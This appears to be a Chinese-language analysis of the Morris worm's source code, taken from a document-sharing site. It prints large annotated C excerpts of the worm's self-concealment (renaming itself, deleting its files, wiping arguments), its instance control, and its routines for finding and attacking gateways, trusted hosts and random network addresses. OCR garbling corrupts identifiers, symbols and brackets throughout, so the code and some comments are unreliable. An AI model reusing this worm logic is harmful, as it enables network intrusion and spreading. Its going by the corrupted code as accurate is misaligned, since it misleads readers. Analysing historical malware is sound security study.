Morris蠕蟲(chóng)源代碼分析_第1頁(yè)
Morris蠕蟲(chóng)源代碼分析_第2頁(yè)
Morris蠕蟲(chóng)源代碼分析_第3頁(yè)
Morris蠕蟲(chóng)源代碼分析_第4頁(yè)
Morris蠕蟲(chóng)源代碼分析_第5頁(yè)
已閱讀5頁(yè),還剩43頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

Morris蠕蟲(chóng)總結(jié)

i.概覽

從整體上來(lái)看,morris蠕蟲(chóng)是C/S架構(gòu)的,它的主要行為可以分為攻擊、隱藏和保護(hù)三

個(gè)部分。攻擊部分是蠕蟲(chóng)最主要的部分,其大致由定位目標(biāo)主機(jī)、利用系統(tǒng)漏洞、感染(攻

擊)目標(biāo)主機(jī)幾個(gè)步驟組成;而其中的感染(攻擊)環(huán)節(jié)中利用的方法主要有三種:finger.

sendmaiK破解密碼。而且,Morris蠕蟲(chóng)為了隱藏自己,使自己不易被發(fā)現(xiàn)和被分析,其主

要運(yùn)用了三種自我防衛(wèi)技巧:換名、異或加密(對(duì)文件)、核心代碼轉(zhuǎn)儲(chǔ)(將文件全部加密并

存貯在內(nèi)存中)。下面對(duì)morris蠕蟲(chóng)各主要行為的實(shí)現(xiàn)進(jìn)行詳細(xì)的分析。

2.Morris的main函數(shù)以及mainloop函數(shù)

2.1main。函數(shù)

main函數(shù)是蠕蟲(chóng)程序的開(kāi)始,它的運(yùn)行標(biāo)志著一只新蠕蟲(chóng)的誕生,標(biāo)志著運(yùn)行這只蠕蟲(chóng)

的主機(jī)將開(kāi)始對(duì)外進(jìn)行攻擊。main函數(shù)是由引導(dǎo)程序(bootstrap)引導(dǎo)運(yùn)行的,它運(yùn)行在己

被蠕蟲(chóng)攻破(將要對(duì)其他機(jī)器進(jìn)行攻擊)的主機(jī)上。main函數(shù)的主要作用是進(jìn)行系統(tǒng)設(shè)置,

以便蠕蟲(chóng)從本機(jī)開(kāi)始下一階段的攻擊。在main函數(shù)中主要是進(jìn)行了一些相關(guān)的設(shè)置和初始

化工作,而具體的其他功能并沒(méi)有在其中實(shí)現(xiàn),下面是對(duì)main函數(shù)的一些分析和理解。

進(jìn)入main函數(shù),morris做的第一件事就足換名。這樣笠得它看起來(lái)會(huì)和正常的程存一樣,

不容易被發(fā)現(xiàn)。執(zhí)行換名的代碼如下:

strcpy(argv[0],XS(“sh"));

然后它用time函數(shù)初始化隨機(jī)數(shù),并設(shè)置資源限制。這部分代碼以及注釋如下:

time(&key);

srandom(key);//key是隨機(jī)數(shù)種子,但是好像在main函數(shù)中沒(méi)有用到

rl.rlimcur=0;

rl.rlim_max=0;

if(setrlimit(RLIMITCORE,&rl))?;/*RLIMITCORE:設(shè)定最大的core文件,設(shè)置資源限制,

在這里if后面沒(méi)有語(yǔ)句,作者是何用意尚不明確*/

signal(SIGPIPE,S1G_IGN);/*第一個(gè)參數(shù)代表信號(hào),第二個(gè)參數(shù)是接收到后的操

作SIG」GN忽咯參數(shù)signum指定的信號(hào)。*/

pid_arg=0;〃父進(jìn)程的ID

cur_arg=1;〃作用不明,大致應(yīng)該是表示當(dāng)前主函數(shù)參數(shù)指針

if(argc>2&&strcmp(argv[cur_arg],XS("-p〃))==0)//"-p”是代表父進(jìn)程ID

{〃如果main函數(shù)的參數(shù)多于2個(gè),而且第二個(gè)字符串是父進(jìn)程的TD

pid_arg=atoi(argv[2D;〃把字符串轉(zhuǎn)換成長(zhǎng)整型數(shù)

cur_arg+=2;〃cur_arg值為3,從第3個(gè)文件開(kāi)始讀入內(nèi)存

然后它開(kāi)始加載文件到內(nèi)存當(dāng)中,并做一些中初始化工作,在設(shè)置完成后,函數(shù)刪除磁

盤(pán)上的文件,以不留下痕跡。具體代碼以及注釋如下:

for(i=cur_arg;i<argc;i++)〃在成功讀入一個(gè)文件后,將其從磁盤(pán)刪除

if(loadobject(argv[i])==0)〃將文件從磁盤(pán)讀入內(nèi)存

exit(1);

if(pid_arg)

unlink(argv[i]);//刪除磁盤(pán)上文件

)

if((nobjects<1)||(getobjectbyname(XS(*11.c*))—NULL))

/*對(duì)object數(shù)據(jù)結(jié)構(gòu)進(jìn)行檢查*/

exit(l);/*如果引導(dǎo)文件"ll.c”沒(méi)有讀入內(nèi)存或者沒(méi)有文件讀入,退出程序。引導(dǎo)程序是

下次攻擊是必不可少的文件*/

最后main函數(shù)進(jìn)行一些收尾工作,將刪除磁盤(pán)上剩余的蠕蟲(chóng)文件的拷貝(由引導(dǎo)程序

傳送來(lái)),以及更改進(jìn)程號(hào)(隱藏自己):

if(pid_arg)

{//刪除磁盤(pán)文件

for(i=0;i<32;i++)

close(i);〃關(guān)閉在加載文件時(shí)打開(kāi)的文件

unlink(argv[0]);〃刪除此文件

uniink(XS("sh"));//刪除sh文件

unlink(XS(*/tmp/.dumb"));〃刪除/imp/,dumb文件

}

for(i=1;i<argc;i++)

for(j=0;argv[ij[j];j++)

argv[i][j]='\J';〃將參數(shù)列表清0,隱藏函數(shù)初始化的信息

if(if-initO==0)//初始化網(wǎng)卡接口,如果失敗,程序退出

exit(1);

if(pid_arg)

{〃更改進(jìn)程號(hào),以便除蔽的進(jìn)行進(jìn)一步工作

if(pid_arg==getp?rp(getpid()))

setpgrp(getpid(),getpidO);

kill(pidarg,9);

}

2.2mainloop。函數(shù)

以上是對(duì)main函數(shù)的一些分析,其中有一些設(shè)置將在其他函數(shù)中用到。在main函數(shù)的

最后,它調(diào)用了mainloopO函數(shù),mainloopO函數(shù)體現(xiàn)了蠕蟲(chóng)的主要功能框架,是蠕蟲(chóng)的主

要功能實(shí)現(xiàn)部分。其主要代碼以及注釋如下:

time(&key);

srandom(key);

timeO=key;〃用time函數(shù)產(chǎn)生一個(gè)隨機(jī)數(shù),下面還用此來(lái)記錄本程序已經(jīng)運(yùn)行的時(shí)間

if(hg()==0&&hl()==0)/*開(kāi)始第一次攻擊,支中hg()是對(duì)網(wǎng)關(guān)進(jìn)行攻擊,hl()是

對(duì)主機(jī)所在網(wǎng)絡(luò)進(jìn)行攻擊,如果攻擊都沒(méi)有成功,則用ha:)對(duì)遠(yuǎn)程網(wǎng)絡(luò)生機(jī)進(jìn)行攻擊*/

ha();

chcckothcrO;〃檢查一下是否有其他蠕蟲(chóng)已經(jīng)在本主機(jī)上了,如果存在則其中一方退出

/*在此蠕蟲(chóng)還有一個(gè)作用不明的函數(shù)(在此沒(méi)有列出),發(fā)送一些數(shù)據(jù)包到Berkeley主站的

11357端口,但是在Berkeley主站并沒(méi)有發(fā)現(xiàn)相應(yīng)的接受程序,而且這這個(gè)程序中存在bug,它

本來(lái)設(shè)置了tepsocket卻嘗試去發(fā)送udp包,也許這是蠕蟲(chóng)作者為了迷惑我們,使我們以為蠕

蟲(chóng)的服務(wù)器在Berkeley。*/

/*下面是蠕蟲(chóng)的循環(huán)程序,蠕蟲(chóng)功能的實(shí)現(xiàn)部分*/

while(1)〃程序的主體循環(huán)

{〃進(jìn)入循環(huán)后的攻擊順序,與第一次嘗試攻擊的順序不同

cracksomeO;〃破解密碼

other_S]Gep(30);/*休眠30秒,去查看是否本機(jī)有其他的蠕蟲(chóng)入侵然后繼續(xù)破解密

碼,如果存在其他的蠕蟲(chóng),會(huì)造成重復(fù)攻擊,對(duì)計(jì)算機(jī)資源有不必要的消耗*/

cracksome();〃破解密碼

if(fork()>0)〃用fork。創(chuàng)建一個(gè)新進(jìn)程,更改進(jìn)程ID

exit(0);

if(hg()==0&&hi()==0&&ha()==0)

/*按照網(wǎng)關(guān)、本主機(jī)系統(tǒng)的聯(lián)系列表、隨機(jī)遠(yuǎn)程網(wǎng)關(guān)或主機(jī)的攻擊順序進(jìn)行攻擊,其

中hi()是根據(jù)本機(jī)的系統(tǒng)列表進(jìn)行攻擊,如果都失敗了,嘗試hl()*/

hl();

olher_sleep(120);/*在攻擊后,用兩分鐘的時(shí)間去檢查是否存在其他蠕蟲(chóng),因?yàn)橐粋€(gè)

新感染的主機(jī)可能會(huì)嘗試攻擊本機(jī)*/

time(&timel);〃獲取時(shí)間值

if(timel-timeO>=60*60*12)

/*如果蠕蟲(chóng)已經(jīng)運(yùn)行超過(guò)12小時(shí)了,則認(rèn)為是網(wǎng)絡(luò)被關(guān)閉或主機(jī)關(guān)機(jī),則蠕蟲(chóng)重新初

始化從頭開(kāi)始運(yùn)行*/

h_clean();

if(pleasequit&&nextw>0)

/*檢查蠕蟲(chóng)是否已經(jīng)完成了足夠的工作,pleasequit變量是蠕蟲(chóng)是否在rolldice幸

存的標(biāo)忐,nextw非。表示蠕蟲(chóng)已經(jīng)進(jìn)行了密碼破解工作,即成功的進(jìn)行了一次攻擊*/

exit(0);

)

以上是mainloop函數(shù)的主體程序。其大致的攻擊順序是:破解密碼今對(duì)漏洞進(jìn)行攻擊今

檢杳其他蠕蟲(chóng)少檢查蠕蟲(chóng)的效果(以及蠕蟲(chóng)是否生存標(biāo)忐)。正是這段程序使蠕蟲(chóng)可以主動(dòng)

傳播。

3.Morris的主要數(shù)據(jù)結(jié)構(gòu)

在整個(gè)蠕蟲(chóng)程序中,根據(jù)不同的需要,主要用到了5個(gè)數(shù)據(jù)結(jié)構(gòu)。

3.1hostlist

hostlist是用來(lái)存儲(chǔ)計(jì)算機(jī)(所有可以找到)的名稱、狀態(tài)和地址的。它是一個(gè)單鏈表

結(jié)構(gòu),蠕蟲(chóng)可以動(dòng)態(tài)的對(duì)其進(jìn)行修改,添加新發(fā)現(xiàn)的主機(jī)。其中flag標(biāo)志位用來(lái)標(biāo)識(shí)主機(jī)

的狀態(tài),主機(jī)有四種狀態(tài):網(wǎng)關(guān)(0x01)、系統(tǒng)列表中的主機(jī)(0x08)、已被感染(0x02)、

不能感染(0x04)。狀態(tài)位每12小時(shí)清理一次,將低優(yōu)先權(quán)(不能被感染、一般主機(jī))的主

機(jī)記錄刪除,以保證鏈表的效率。其具體實(shí)現(xiàn)如下:

structhst

char*hostnamc;/*主機(jī)名稱*/

};

3.5words

密碼字典,用一個(gè)很長(zhǎng)的字符串來(lái)實(shí)現(xiàn),作用是猜測(cè)用戶的密碼。這個(gè)密碼字典中許多

單詞并不是常用的單詞或者常用做密碼的單詞,而且有不少存在拼寫(xiě)錯(cuò)誤或者非英語(yǔ)單詞,

因此這個(gè)密碼字典應(yīng)該不是作者自己隨意編寫(xiě)的,它應(yīng)該是來(lái)源于某個(gè)數(shù)據(jù)庫(kù)或者以太網(wǎng)監(jiān)

視器,還有可能是作者通過(guò)特洛伊木馬程序得到的。(或者黑客自己有一個(gè)通過(guò)經(jīng)驗(yàn)得來(lái)的

經(jīng)典密碼字典?)它具體的內(nèi)容請(qǐng)參考代碼中cracksom.c中的char*wds[]o

4.系統(tǒng)資源的控制

這部分主要分析一下morris蠕蟲(chóng)對(duì)系統(tǒng)資源的使用情況。morris蠕蟲(chóng)會(huì)限制在一臺(tái)主機(jī)

上運(yùn)行的蠕蟲(chóng)數(shù)目,這當(dāng)然不是為了保護(hù)操作系統(tǒng)而設(shè)計(jì)的,作者這樣做目的可能有兩個(gè):

一個(gè)是使得蠕蟲(chóng)在開(kāi)始階段不會(huì)因?yàn)榇罅康恼加孟到y(tǒng)資源而被發(fā)現(xiàn);另一個(gè)是使得蠕蟲(chóng)有足

夠的系統(tǒng)資源去進(jìn)行進(jìn)一步的攻擊,以保持蠕蟲(chóng)的攻擊效率。

蠕蟲(chóng)用類似于C/S構(gòu)架的技術(shù)來(lái)控制運(yùn)行在本主機(jī)上的蠕蟲(chóng)數(shù)目,就是說(shuō)用C/S架構(gòu)來(lái)

判斷本機(jī)上是否存在其他蠕蟲(chóng),即本機(jī)上如果存在其他蠕蟲(chóng),那么那個(gè)蠕蟲(chóng)被視為server,

而自己作為client。具體的算法由checkotherO函數(shù)實(shí)現(xiàn),其主要代碼以及注釋如下:

checkother()

/*檢查其他蠕蟲(chóng),如果存在多個(gè)蠕蟲(chóng),其根據(jù)?個(gè)rolldice的算法改變其中?個(gè)蠕蟲(chóng)的狀態(tài)(退

出、幸存、永生),蠕蟲(chóng)幸存指得是端蟲(chóng)準(zhǔn)備作為server(設(shè)置好socket)來(lái)進(jìn)行下一次的roll

dice游戲,蠕蟲(chóng)永生指的是蠕蟲(chóng)不再參與rolldice游戲(因?yàn)闆](méi)有設(shè)置socket,不會(huì)被其他蠕

蟲(chóng)checkother到)*/

(

ints,18,112,116,optval;

structsockaddr_insin;/*Internetsocket地址*/

optval=1;

if((random()%7)==3)

return;/*用一個(gè)隨機(jī)數(shù)模7,如果為3則返回,即蠕蟲(chóng)成為永生

蠕蟲(chóng),不再參加其他蠕蟲(chóng)的checkother。游戲,這個(gè)算法會(huì)有七分之一的機(jī)會(huì)使蠕蟲(chóng)成為永生蠕

蟲(chóng),關(guān)于永生蠕蟲(chóng)對(duì)系統(tǒng)燙源的影響在后面會(huì)詳細(xì)分析*/

s=socket(AF.INET,SOCK_STREAM,0);

if(s<0)

return;

/*Makeasockettothelocalhost,usingalink-timespecificport*/

bzero(&sin,sizeof(sin));/*設(shè)置結(jié)構(gòu)內(nèi)容*/

sin.sinfamily=AFINET;

sin.sin_addr.s_addr=inet_addr(XS(*127.0.0.1^));/*本機(jī)的Internet地址*/

sin.sin_port=0x00005b3d;/*端口設(shè)置,蠕蟲(chóng)端口為23357*/

if(connect(s,&sin,sizeof(sin))<0)

〃連接s到本機(jī)(&sin),如果失敗就是說(shuō)明本機(jī)沒(méi)有蠕蟲(chóng)存在,關(guān)閉s

close(s);

else

{//說(shuō)明本機(jī)上有其他蠕蟲(chóng)在運(yùn)行

18=M?\GIC_2;/*Magicnumber定義在頭文件中*/

if(write(s,&18,sizeof(18))!=sizeof(18))

{/*用寫(xiě)入操作來(lái)判斷對(duì)方是否是蠕蟲(chóng),如果失敗則不是morrisworm,關(guān)閉s返回,

本嫡蟲(chóng)獨(dú)立*/

close(s);

return;

)

18=0;

if(xread(s,&18,sizeof(18),5*60)!=sizeof(18))

{//通過(guò)連接得到18,用來(lái)驗(yàn)證蠕蟲(chóng)的身份,如果讀取失敗那么程序退出

close(s);

return;

}

if(18!=M/\GIC_1)

{/*假設(shè)對(duì)方是蠕蟲(chóng),xread函數(shù)讀取相應(yīng)的信息到18,如果18不是MAGIC」,則對(duì)

方不是morrisworm,則關(guān)閉s返回,本蠕蟲(chóng)獨(dú)立*/

close(s);

return;

)

〃以下是rolldice算法

112=random()/8;〃隨機(jī)生成一個(gè)數(shù)

if(write(s,&112,sizeof(112))!=sizeof(112))

{〃寫(xiě)至Us的&112開(kāi)始的內(nèi)存中,但是不知道有什么作用

close(s);

return;

)

if(xread(s,&116,sizeof(116),10)!=sizeof(116))

{//116的值在此會(huì)發(fā)生改變,但是聲明時(shí)沒(méi)有初始化,可能存在問(wèn)題

close(s);

return;

)

if(!((112+116)%2))//rolldice,如果隨機(jī)數(shù)計(jì)算結(jié)果的不為0,那么本蠕蟲(chóng)退出

pleasequit++;

close(s);

)

slccp(5);〃作用不明.大致是等待另一端蟲(chóng)完成工作?

〃以下是對(duì)將作為服務(wù)器蠕蟲(chóng)進(jìn)行設(shè)置

s=socket(AF」NET,SOCK_STREAM,0);

if(s<0)

return;

/*Setthesocketsothattheaddressmaybereused*/

setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&optval,sizeof(optval));

〃建立一個(gè)新的socket,并開(kāi)放與前一個(gè)socket同樣的端口

if(bind(s,&sin,sizeof(sin))<0)

(

close(s);

return;

)

listen(s,10);〃等待s,能夠處理的最大連接數(shù)為10,準(zhǔn)備作為server用

other_fd=s;

return;〃返回,根據(jù)pleascquit來(lái)決定蠕蟲(chóng)是否幸存

}/*另外checkother函數(shù)還有一個(gè)叫做other_sleep()的輔助函數(shù),來(lái)根據(jù)9ther_fd的值求進(jìn)行一

些活動(dòng),其具體的分析如下*/

輔助函數(shù)other_sleep()的分析:

/*Sleep,waitingforanotherwormtocontactme.*/

others1eep(how_long)

{/*調(diào)用select系統(tǒng)函數(shù),來(lái)等待來(lái)自客戶端的連接*/

intnfds,readmask;

longtimel,time2;

structtimevaltimeout;

if(other_fd<0)

(〃如果。thejfd沒(méi)有被設(shè)置(沒(méi)有需要連接的客戶端),就是說(shuō)本蠕蟲(chóng)是永生蠕

蟲(chóng)

if(howlong!=0)

sleep(how_long);

return;

)

/*再檢查一便*/

do

{

if(other_fd<0)

return;〃如果沒(méi)有返回那么說(shuō)明本機(jī)上還有另外一只蠕蟲(chóng)

readmask=1<<other_fd;

if(howlong<0)

howlong=0;

timeout,tvsec=howlong;

timeout.tv_usec=0;

if(how_long!=0)

;〃如果how_long大于0,就是有時(shí)間,記錄當(dāng)前時(shí)間

nfds=select(other_fd+l,&readmask,0,0,&timeout);

/*select。用來(lái)等待文件描述詞狀態(tài)的改變.參數(shù)n代表最大的文件描述詞加1,參數(shù)

rcadfds.writcfds和cxccptfds稱為描述詞組.,是用來(lái)回傳該描述詞的讀,寫(xiě)或例外的狀況。執(zhí)

行成功則返回文件描述詞狀態(tài)已改變的個(gè)數(shù)。*/

if(nfds<0)

slccp(l);〃改變文件狀態(tài)失敗

if(readmask!=0)〃讀狀態(tài)改變成功

answerother();

/*answer_cther()建立一個(gè)連接,并且交換magicnumber來(lái)確定是否為蠕蟲(chóng),然

后本蠕蟲(chóng)通過(guò)socket向被發(fā)現(xiàn)的另一只蠕蟲(chóng)寫(xiě)入一個(gè)隨機(jī)數(shù)。之后本蠕蟲(chóng)要確定被發(fā)現(xiàn)的蠕蟲(chóng)來(lái)

自于本機(jī)()?并美閉文件描述符。answejother:)函數(shù)的分析見(jiàn)下文*/

if(how_lor.g!=0)

{

time(&time2);

how」ong-=time2-timel;//減去這部分運(yùn)算消耗的時(shí)間

)

}while(how_long>0);//若時(shí)間耗盡則退出循環(huán)

return;

)

輔助函數(shù)answejotheM)的代碼以及注釋如下:

staticanswer_other()/*答復(fù)client蠕蟲(chóng)的連接*/

(

intns,addrlen,magic_hoIder,magicl,magic2;

structsockaddr_insin;/*internet地址*/

addrlen=sizeof(sin);

ns=accept(other_fd,&sin,&addrlen);“server蠕蟲(chóng)建立于client蠕蟲(chóng)的連接

if(ns<0)

return;/*連接失敗*/

magic_holder=MAGIC_1;〃校驗(yàn)蠕蟲(chóng)身份用

〃以下為校驗(yàn)蠕旦身份的算法

if(write(ns,tagicholder,sizeof(magicholder))!=sizeof(magicholder))

{〃寫(xiě)操作失敗

close(ns);

return;

)

if(xread(ns,&magic_holder,sizeof(magichoIder),10)!=sizeof(magichoIder))

(〃檢查連接是否正確,以及得到交互的magijholder來(lái)驗(yàn)證蠕蟲(chóng)的身份

close(ns);

return;

)

if(magic_hoIder!=MAGIC_2)

(〃對(duì)方不是iroiris蠕蟲(chóng)

close(ns);

return;

)

〃對(duì)方是mouis蠕蟲(chóng),則要進(jìn)行rolldice游戲

magic1=random()/8;

if(write(ns,&magicl,sizeof(magic1))!=sizeof(magicl))

(

close(ns);

return;

}

if(xread(ns,&magic2,sizeof(magic2),10)!=sizeof(magic2))

(

close(ns);

return;

)

close(ns);

if(sin.sin_addr.s_addr!=inet_addr(XS("127.0.0.1")))

return;〃蠕蟲(chóng)不是在本機(jī)上的蠕蟲(chóng),退出

if(((magicl+magic2)%2)!=0)

{〃根據(jù)rolldice游戲,本蠕蟲(chóng)將退出

close(otherfd);

other_fd=-1;〃本蠕蟲(chóng)即將退出,不再參與游戲

pleasequit++;〃設(shè)置退出條件

)

return:

)

根據(jù)以上checkotherf)的分析,可以看到,引起退巴checkother。函數(shù)的原因有三種:

第一、pleasequit被置.為1,蠕蟲(chóng)準(zhǔn)備退出。第二、蠕蟲(chóng)準(zhǔn)備作為server,如果有其他蠕蟲(chóng)到

來(lái)它會(huì)參與rolldice游戲c第三、永生,不再參與rolldice游戲,會(huì)與其他蠕蟲(chóng)同時(shí)存在。

雖然morris的作者考慮了系統(tǒng)資源的問(wèn)題。但是從實(shí)際情況來(lái)看,效果并不理想,其

仍然會(huì)消耗大量的系統(tǒng)資源。經(jīng)過(guò)分析,導(dǎo)致系統(tǒng)資源被大量消耗的原因可能有:一、每個(gè)

蠕蟲(chóng)有七分之?的機(jī)會(huì)成為永生的獨(dú)立蠕蟲(chóng),獨(dú)立蠕蟲(chóng)會(huì)使得系統(tǒng)中的蠕蟲(chóng)越來(lái)越多,當(dāng)然

消耗的資源也會(huì)越來(lái)越多,二、當(dāng)pleasequit被置為I后,蠕蟲(chóng)還要做很多沒(méi)有意義的工作

(while循環(huán))才會(huì)退出,這也是系統(tǒng)資源的一種浪費(fèi)。三、根據(jù)if(pleasequit&&nextw>0)

的退出條件,即使蠕蟲(chóng)在rolldice失敗了,如果它是一只新的蠕蟲(chóng),它還要必須要進(jìn)行一次

攻擊(密碼破解)才會(huì)退出,這也是對(duì)系統(tǒng)資源的無(wú)謂浪費(fèi)。四、在mainloop中的破解密

碼過(guò)程中,密碼匹配算法效率較低,并且用鏈表來(lái)儲(chǔ)存常用的信息檢索效率低。五、新蠕蟲(chóng)

沒(méi)有繼承父蠕蟲(chóng)的攻擊歷史記錄,導(dǎo)致了新蠕蟲(chóng)會(huì)對(duì)父蠕蟲(chóng)或者其他已被感染的主機(jī)進(jìn)行重

夏感染,這也是消耗系統(tǒng)以及網(wǎng)絡(luò)資源的主要原因之二

5.定位攻擊目標(biāo)

在進(jìn)行攻擊之前,蠕乂首先要定位被攻擊的目標(biāo)位置,并且要確保被攻擊的目標(biāo)是存在

的。morris蠕蟲(chóng)將目標(biāo)主機(jī)分為了網(wǎng)關(guān)、系統(tǒng)文件列表中主機(jī)、本地網(wǎng)絡(luò)中主機(jī)、遠(yuǎn)程主機(jī)

四種(儲(chǔ)存于hostlist中)。而且,從能夠獲得最佳攻擊效果的目的出發(fā),morris蠕蟲(chóng)按照網(wǎng)

關(guān)、系統(tǒng)文件列表中主機(jī)、本地網(wǎng)絡(luò)中主機(jī)、遠(yuǎn)程主機(jī)的先后順序進(jìn)行定位(攻擊)目標(biāo)主

機(jī)。另外,蠕蟲(chóng)初始化hostlist中系統(tǒng)列表主機(jī)的工作在cracksome。中完成,蠕蟲(chóng)在第一

次調(diào)用cracksome。函數(shù)時(shí)從本機(jī)的文件系統(tǒng)得到目標(biāo)主機(jī)以及用戶的信息,這些信息將視

為系統(tǒng)列表主機(jī)被蠕蟲(chóng)攻擊,關(guān)于cracksomeO函數(shù)的實(shí)現(xiàn)將在第8部分詳細(xì)介紹。如果根

據(jù)ATaxonomyofComputerWorms,這部分大致講述的就是TARGETDISCOVERY的部分。

下面詳細(xì)描述一下定位(攻擊)的過(guò)程以及其中用到函數(shù)。

5.1gateway

網(wǎng)關(guān)是蠕蟲(chóng)的最愛(ài),因?yàn)榫W(wǎng)關(guān)上常常記錄著一個(gè)局域網(wǎng)中所有主機(jī)的信息。在攻擊時(shí),

網(wǎng)關(guān)具有最高的優(yōu)先權(quán),僅當(dāng)網(wǎng)關(guān)列表中所有的網(wǎng)關(guān)都被標(biāo)記(已感染或不能感染)后,蠕

蟲(chóng)才嘗試對(duì)其他類型目標(biāo)主機(jī)的攻擊。網(wǎng)關(guān)列表由函數(shù)生成。rt_init()函數(shù)通過(guò)解析

netstat命令的返回值來(lái)判斷是否為網(wǎng)關(guān)(但是其中有一個(gè)rt_init_544_plus()函數(shù)沒(méi)有實(shí)現(xiàn),

因此蠕蟲(chóng)判斷網(wǎng)關(guān)的具體方法尚不明確,但也許蠕蟲(chóng)是根據(jù)Ip地址的主機(jī)位來(lái)判斷是否為

網(wǎng)美的。),如果是網(wǎng)關(guān)則在檢查是否已經(jīng)存在與網(wǎng)大列表當(dāng)中,如果不存在則加入;而后將

網(wǎng)關(guān)列表隨機(jī)打亂,將前20個(gè)網(wǎng)關(guān)假如hostlist以加快攻擊速度。對(duì)網(wǎng)關(guān)進(jìn)行攻擊的函數(shù)

是hg(),其主要代碼以及注釋如下:

hg()/*對(duì)網(wǎng)關(guān)進(jìn)行攻擊*/

(

structhst*host;//主機(jī)列表

inti;

rt_init0;〃初始化網(wǎng)關(guān)列表

for(i=0;i<ngateways;i++)

{/*對(duì)網(wǎng)關(guān)逐個(gè)進(jìn)行攻擊直到有網(wǎng)關(guān)被攻破或者所有網(wǎng)關(guān)都嘗試過(guò),循環(huán)結(jié)束*/

host=h_addr2host(gateways[i],1);

if(tryrshandmail(host))

return1;〃攻擊成功返向1,關(guān)于try_rsh_and_mai]將在下文詳細(xì)介紹

)

return0;〃攻擊失敗

rt_init()/*初始化網(wǎng)關(guān)列表*/

(

FILE*pipe;

charinputbuf[64];

int1204,1304;

ngateways=0;

pipe=popen(XS(Vusr/ucb/netstat-r-n"),XS("r"));〃打開(kāi)netstat命令

if(pipe==0)

return0;

while(fgets(input_buf,sizeof(input_buf),pipe))

{/*nctstat命令返回不為空,就繼續(xù)循環(huán)*/

othersleep(O);

if(ngateways>=500)

break;

sscanf(input_buf,XS(飛s%s”),1204,1304);

)

pclose(pipe);

rtinitplus544();//未實(shí)現(xiàn)

return1;

}

5?2系統(tǒng)文件列表中主機(jī)

在網(wǎng)關(guān)以后就是系統(tǒng)文件列表中主機(jī),在unix系統(tǒng)中絢〃4文件(后面稱作特

權(quán)文件)記錄了本地主機(jī)授權(quán)的不經(jīng)過(guò)驗(yàn)證就可以登錄本土機(jī)的用戶名,/.rhosts文件記錄

了允許本地主機(jī)特權(quán)登錄的遠(yuǎn)程主機(jī)名稱,.由八團(tuán)以文件記錄了本主機(jī)向其發(fā)送過(guò)電子郵件

的主機(jī)信息。在掃描時(shí)這些主機(jī)將先被關(guān)注(這些主機(jī)是與木機(jī)相聯(lián),而且最容易攻破的機(jī)

器)。對(duì)系統(tǒng)文件列表中主機(jī)進(jìn)行攻擊的函數(shù)是hi。,其具體的實(shí)現(xiàn)與注釋如下:

hi()

/?Thisroutinetriedtoinfecthostswhoseentriesinthehostslistweremarked

asequivalent.在這里equivalent指的就是上述UNIX系統(tǒng)中的那三個(gè)文件*/

(

structhst*host;

for(host=hosts;host;host=host->next)

if((host-)flag&0x08!=0)&&(tryrshandmail(host)!=0))

return1;//host->flag&0x08!=0表示系統(tǒng)文件列表中主機(jī)

return0;

)

5.3本地網(wǎng)絡(luò)中主機(jī)與遠(yuǎn)程主機(jī)

在前兩種主機(jī)都嘗試過(guò)以后,如果沒(méi)有成功,蠕蟲(chóng)將進(jìn)一步對(duì)本地網(wǎng)絡(luò)中主機(jī)和遠(yuǎn)程主

機(jī)進(jìn)行嘗試。hl()函數(shù)負(fù)責(zé)對(duì)本地網(wǎng)絡(luò)的主機(jī)進(jìn)行攻擊,它提取本地網(wǎng)絡(luò)IP地址的網(wǎng)絡(luò)

地址部分,然后用隨機(jī)數(shù)字取代主機(jī)地址部分進(jìn)行攻擊。其具體實(shí)現(xiàn)以及注釋如下:

hl()/*對(duì)本地網(wǎng)絡(luò)的主機(jī)進(jìn)行攻擊*/

(

inti;

for(i=0;i<6;i++)//hostlist中只有6個(gè)網(wǎng)絡(luò)地址位

{/*對(duì)每個(gè)網(wǎng)絡(luò)地址進(jìn)行檢查*/

if(me->o4S[i]=0)〃已經(jīng)沒(méi)有網(wǎng)絡(luò)地址

break;

if(hi_84(me->o48[i]&netmaskfor(me->o48[i]))!=0)

return1:/*hi_84()是對(duì)通過(guò)ip地址的種類對(duì)遠(yuǎn)程主機(jī)的攻擊函數(shù),將

在后面詳細(xì)描述*/

)

return0;

)

ha()函數(shù)嘗試對(duì)遠(yuǎn)程主機(jī)進(jìn)行攻擊,其實(shí)現(xiàn)以及代碼注釋如下:

ha()

/*通過(guò)telnet對(duì)遠(yuǎn)程主機(jī)進(jìn)行攻擊,在攻擊時(shí)也是首先選擇ip的網(wǎng)絡(luò)地址,然后時(shí)隨機(jī)生

成的網(wǎng)關(guān)地址進(jìn)行攻擊*/

(

structhst*host;

inti,j,k;

int1416[100];

int1420;

if(ngateways<1)

rt_init();//初始化網(wǎng)關(guān)列表

j=0;

for(i=0;i<ngateways;i++)

{/*對(duì)所有的網(wǎng)關(guān)嘗試進(jìn)行攻擊*/

host=haddr2host(gateways[i],1);

for(k=0;k<6;k++)

{/*每個(gè)網(wǎng)關(guān)有6個(gè)網(wǎng)絡(luò)地址*/

if(host->o48[k]==0)

continue:

if(try_te1net_p(host->o48[k])==0)

continue:/*用telnet檢查可達(dá)性,trytelnet_p()函數(shù)下文介紹*/

1416[jj=host->o48[k];//1416中存儲(chǔ)的是網(wǎng)絡(luò)地址

j++;

)

}

permute(1416,j,sizeof(1416[0]));

//permute將j個(gè)sizeof大小的1416文件內(nèi)容相反的拷貝到內(nèi)存中

for(i=0;i<j;i++)

{/*對(duì)j個(gè)地址隨機(jī)生成的IP地址進(jìn)行攻擊*/

if(hi_84(1416[i]&netmaskfor(1416[i])))

return1;

)

return0;

)

/*try_telnet_p()是用來(lái)檢查遠(yuǎn)程主機(jī)的可達(dá)性和是否支持telnet協(xié)議,在ha()中被調(diào)用*/

statictry_telnet_p(u_longaddr)

(

ints,connection;/*28*/

structsockaddr_insin;/*16bytes*/

int(*save_sighand)();

s=socket(AI^INET,SOCK_STREAM,0);

if(s<0)

return0;

bzero(&sin,sizeof(sin));

sin.sin_family=AF_INET;

sin.sin_addr.s_addr=addr;

sin.sin_port=IPPORT_TELNET;/*Thistimetrytelnet...*/

/'*Setupa5secondtimeout,breakfromconnectifitfails*/

save_sighand=signal(SIGALRM,justreturn);

alarm(5);

connection=connec:(s,&sin,sizeof(sin)):

if(connection<0&&errno=ECONNREFUSED)

connection=0;/*Telnetconnectionrefused*/

